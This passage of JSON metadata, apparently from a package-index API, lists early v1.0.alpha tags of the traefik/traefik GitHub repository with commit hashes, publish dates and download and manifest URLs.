aefik/tags/v1.0.alpha.b84b95fe97df5c0f234d8693fbff03fa0d6a441b","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.b84b95fe97df5c0f234d8693fbff03fa0d6a441b/manifests"},{"name":"v1.0.alpha.1a5668377cc840a35d233a0eb817ee9bacf0ba3e","sha":"1a5668377cc840a35d233a0eb817ee9bacf0ba3e","kind":"commit","published_at":"2016-02-25T09:58:23.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.1a5668377cc840a35d233a0eb817ee9bacf0ba3e","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.1a5668377cc840a35d233a0eb817ee9bacf0ba3e","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.1a5668377cc840a35d233a0eb817ee9bacf0ba3e","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.1a5668377cc840a35d233a0eb817ee9bacf0ba3e","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.1a5668377cc840a35d233a0eb817ee9bacf0ba3e/manifests"},{"name":"v1.0.alpha.331cd173ce8ad858d767510fbcbc653e2dde657d","sha":"331cd173ce8ad858d767510fbcbc653e2dde657d","kind":"commit","published_at":"2016-02-24T21:22:57.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.331cd173ce8ad858d767510fbcbc653e2dde657d","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.331cd173ce8ad858d767510fbcbc653e2dde657d","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.331cd173ce8ad858d767510fbcbc653e2dde657d","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.331cd173ce8ad858d767510fbcbc653e2dde657d","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.331cd173ce8ad858d767510fbcbc653e2dde657d/manifests"},{"name":"v1.0.alpha.e0872b61579c8e6b8fc6124c8836660c11840f5d","sha":"e0872b61579c8e6b8fc6124c8836660c11840f5d","kind":"commit","published_at":"2016-02-24T15:11:15.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.e0872b61579c8e6b8fc6124c8836660c11840f5d","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.e0872b61579c8e6b8fc6124c8836660c11840f5d","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.e0872b61579c8e6b8fc6124c8836660c11840f5d","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.e0872b61579c8e6b8fc6124c8836660c11840f5d","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.e0872b61579c8e6b8fc6124c8836660c11840f5d/manifests"},{"name":"v1.0.alpha.99646544953d5793f18ccb22dae2458be4ba0e05","sha":"99646544953d5793f18ccb22dae2458be4ba0e05","kind":"commit","published_at":"2016-02-24T08:35:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.99646544953d5793f18ccb22dae2458be4ba0e05","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.99646544953d5793f18ccb22dae2458be4ba0e05","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.99646544953d5793f18ccb22dae2458be4ba0e05","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.99646544953d5793f18ccb22dae2458be4ba0e05","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.99646544953d5793f18ccb22dae2458be4ba0e05/manifests"},{"name":"v1.0.alpha.7acc2beae0f0235d9408e8ed7a51f0ef3dae3aff","sha":"7acc2beae0f0235d9408e8ed7a51f0ef3dae3aff","kind":"commit","published_at":"2016-02-23T23:05:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.7acc2beae0f0235d9408e8ed7a51f0ef3dae3aff","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.7acc2beae0f0235d9408e8ed7a51f0ef3dae3aff","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.7acc2beae0f0235d9408e8ed7a51f0ef3dae3aff","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.7acc2beae0f0235d9408e8ed7a51f0ef3dae3aff","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.7acc2beae0f0235d9408e8ed7a51f0ef3dae3aff/manifests"},{"name":"v1.0.alpha.ac56c1310c46f9c18dcad9d7ec680926fae821bb","sha":"ac56c1310c46f9c18dcad9d7ec680926fae821bb","kind":"commit","published_at":"2016-02-22T16:33:28.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.ac56c1310c46f9c18dcad9d7ec680926fae821bb","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.ac56c1310c46f9c18dcad9d7ec680926fae821bb","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.ac56c1310c46f9c18dcad9d7ec680926fae821bb","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.ac56c1310c46f9c18dcad9d7ec680926fae821bb","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.ac56c1310c46f9c18dcad9d7ec680926fae821bb/manifests"},{"name":"v1.0.alpha.71b0e27517841ec7b911bafb109846ee96109f30","sha":"71b0e27517841ec7b911bafb109846ee96109f30","kind":"commit","published_at":"2016-02-22T15:03:57.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.71b0e27517841ec7b911bafb109846ee96109f30","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.71b0e27517841ec7b911bafb109846ee96109f30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.71b0e27517841ec7b911bafb109846ee96109f30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.71b0e27517841ec7b911bafb109846ee96109f30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.71b0e27517841ec7b911bafb109846ee96109f30/manifests"},{"name":"v1.0.alpha.60e9282f0adac48cbf283306ceb08ad7a31ac94b","sha":"60e9282f0adac48cbf283306ceb08ad7a31ac94b","kind":"commit","published_at":"2016-02-22T14:35:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.60e9282f0adac48cbf283306ceb08ad7a31ac94b","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.60e9282f0adac48cbf283306ceb08ad7a31ac94b","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.60e9282f0adac48cbf283306ceb08ad7a31ac94b","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.60e9282f0adac48cbf283306ceb08ad7a31ac94b","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.60e9282f0adac48cbf283306ceb08ad7a31ac94b/manifests"},{"name":"v1.0.alpha.522","sha":"3a08655b06f435c0836209fdfc55b628bc22c91f","kind":"commit","published_at":"2016-02-18T13:23:38.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.522","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.522","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.522","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.522","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.522/manifests"},{"name":"v1.0.alpha.516","sha":"c7d34b54aa45921db30c4ff6b73d5f2c1bca6c3a","kind":"commit","published_at":"2016-02-18T10:07:18.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.516","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.516","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.516","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.516","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.516/manifests"},{"name":"v1.0.alpha.506","sha":"6e7677de7965ba605e7d5edd0bd7b68b8bc7f6b2","kind":"commit","published_at":"2016-02-17T08:56:43.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.506","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.506/manifests"},{"name":"v1.0.alpha.481","sha":"786acc961ad410cca3ae80e5afe03ca0317c267a","kind":"commit","published_at":"2016-02-13T15:33:42.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.481","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.481","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.481","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.481","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.481/manifests"},{"name":"v1.0.alpha.477","sha":"e9c23195a00540c4c2f22610f15d7ec5385f24b3","kind":"commit","published_at":"2016-02-12T14:31:59.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.477","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.477","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.477","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.477","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.477/manifests"},{"name":"v1.0.alpha.471","sha":"07c077cf9464eedbe0fadb6c1681f168dd69e34d","kind":"commit","published_at":"2016-02-10T13:10:26.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.471","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.471","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.471","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.471","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.471/manifests"},{"name":"v1.0.alpha.469","sha":"4ecb91978776f1e223994acf8f28127ab11ce504","kind":"commit","published_at":"2016-02-10T12:54:30.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.469","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.469","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.469","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.469","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.469/manifests"},{"name":"v1.0.alpha.463","sha":"bb3b9f61cdd7eee1142459e718a6d48c1da55089","kind":"commit","published_at":"2016-02-09T21:49:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.463","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.463","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.463","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.463","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.463/manifests"},{"name":"v1.0.alpha.450","sha":"8b334551d8e8fcf4d46b63b34b8ed4d9dde420be","kind":"commit","published_at":"2016-02-08T18:15:41.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.450","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.450","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.450","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.450","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.450/manifests"},{"name":"v1.0.alpha.443","sha":"901c9b29bc67f95e47767359be78e2adf21bbcad","kind":"commit","published_at":"2016-02-06T13:06:42.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.443","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.443","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.443","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.443","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.443/manifests"},{"name":"v1.0.alpha.439","sha":"d3598021b7e76e7d9c003f3e6390665be16f4597","kind":"commit","published_at":"2016-02-03T21:09:52.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.439","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.439","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.439","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.439","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.439/manifests"},{"name":"v1.0.alpha.425","sha":"cb46e8751b0bdfe55ba128c3217213d777e79088","kind":"commit","published_at":"2016-01-29T18:46:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.425","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.425","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.425","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.425","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.425/manifests"},{"name":"v1.0.alpha.421","sha":"1cbe00d61350224edd201f2e8bbd073f2da6c907","kind":"commit","published_at":"2016-01-29T10:49:33.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.421","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.421","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.421","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.421","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.421/manifests"},{"name":"v1.0.alpha.418","sha":"257dbd188f9bb32cdf584536b7b27a5db50d8b3b","kind":"commit","published_at":"2016-01-27T21:55:22.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.418","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.418/manifests"},{"name":"v1.0.alpha.412","sha":"b906e9361f7c92a62a9e884864210bf41e01104d","kind":"commit","published_at":"2016-01-27T10:18:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.412","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.412","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.412","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.412","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.412/manifests"},{"name":"v1.0.alpha.404","sha":"81e9fdfe75fff3efc71f0231a66af18fc6bf354f","kind":"commit","published_at":"2016-01-22T17:33:43.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.404","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.404","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.404","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.404","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.404/manifests"},{"name":"v1.0.alpha.392","sha":"c15d7e03b40ddb6a1e539807aa426f4b423cb5b2","kind":"commit","published_at":"2016-01-21T09:17:17.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.392","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.392","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.392","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.392","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.392/manifests"},{"name":"v1.0.alpha.374","sha":"587b17c120a27c18c8ea4ba0b9e26f46f04c124d","kind":"commit","published_at":"2016-01-19T08:17:01.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.374","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.374","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.374","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.374","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.374/manifests"},{"name":"v1.0.alpha.367","sha":"707b6f9a95e2f73de108ed1870139d621019f078","kind":"commit","published_at":"2016-01-15T08:04:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.367","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.367","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.367","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.367","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.367/manifests"},{"name":"v1.0.alpha.364","sha":"c0fd70090479a1eb0a0ab2a1b0d123b36abc9ac6","kind":"commit","published_at":"2016-01-14T15:00:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.364","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.364","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.364","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.364","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.364/manifests"},{"name":"v1.0.alpha.361","sha":"784fd74d3f042b5f1f10adc52df01a28d8690e6f","kind":"commit","published_at":"2016-01-13T07:30:00.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.361","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.361","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.361","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.361","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.361/manifests"},{"name":"v1.0.alpha.358","sha":"f10bbd8c69a732b5cae29daa1d3d938dcc904444","kind":"commit","published_at":"2016-01-08T23:32:53.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.358","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.358","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.358","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.358","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.358/manifests"},{"name":"v1.0.alpha.357","sha":"f10bbd8c69a732b5cae29daa1d3d938dcc904444","kind":"commit","published_at":"2016-01-08T23:32:53.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.357","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.357","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.357","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.357","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.357/manifests"},{"name":"v1.0.alpha.341","sha":"866e8db5f7a55c1b0415cc232634bfe6f3540ccd","kind":"commit","published_at":"2015-12-07T21:12:45.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.341","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.341","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.341","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.341","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.341/manifests"},{"name":"v1.0.alpha.338","sha":"f955cc33c5b9e220d3112944530493759be576d9","kind":"commit","published_at":"2015-12-04T08:41:36.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.338","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.338","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.338","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.338","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.338/manifests"},{"name":"v1.0.alpha.336","sha":"4abb4c64891718a7ec5928e8f6f5bdc0816fd511","kind":"commit","published_at":"2015-12-03T16:45:22.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.336","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.336","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.336","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.336","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.336/manifests"},{"name":"v1.0.alpha.333","sha":"71288e5799e517c9760b2300ec8f291ef11ee119","kind":"commit","published_at":"2015-12-02T08:49:28.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.333","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.333","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.333","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.333","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.333/manifests"},{"name":"v1.0.alpha.329","sha":"4e9ff45747f9172809065fb63c6d0baca782dad1","kind":"commit","published_at":"2015-12-01T21:52:27.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.329","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.329","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.329","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.329","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.329/manifests"},{"name":"v1.0.alpha.311","sha":"16047862850b354367790966729cf4f35b80a7f4","kind":"commit","published_at":"2015-11-24T09:20:44.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.311","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.311","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.311","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.311","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.311/manifests"},{"name":"v1.0.alpha.306","sha":"4729e3e9991257bc77f839728b3e0d38ad3111dd","kind":"commit","published_at":"2015-11-23T19:54:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.306","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.306","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.306","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.306","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.306/manifests"},{"name":"v1.0.alpha.302","sha":"4218467ab3b6532697b1fb5414fc84f3a1882bd2","kind":"commit","published_at":"2015-11-23T07:38:35.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.302","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.302","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.302","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.302","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.302/manifests"},{"name":"v1.0.alpha.291","sha":"c8a0a83e2b3a0fa6daaaf696930d1b5cbfc05965","kind":"commit","published_at":"2015-11-20T17:51:36.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.0.alpha.291","html_url":"https://github.com/traefik/traefik/releases/tag/v1.0.alpha.291","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.0.alpha.291","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.291","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.0.alpha.291/manifests"},{"name":"v1.0.alpha.290","sha":"3435ebf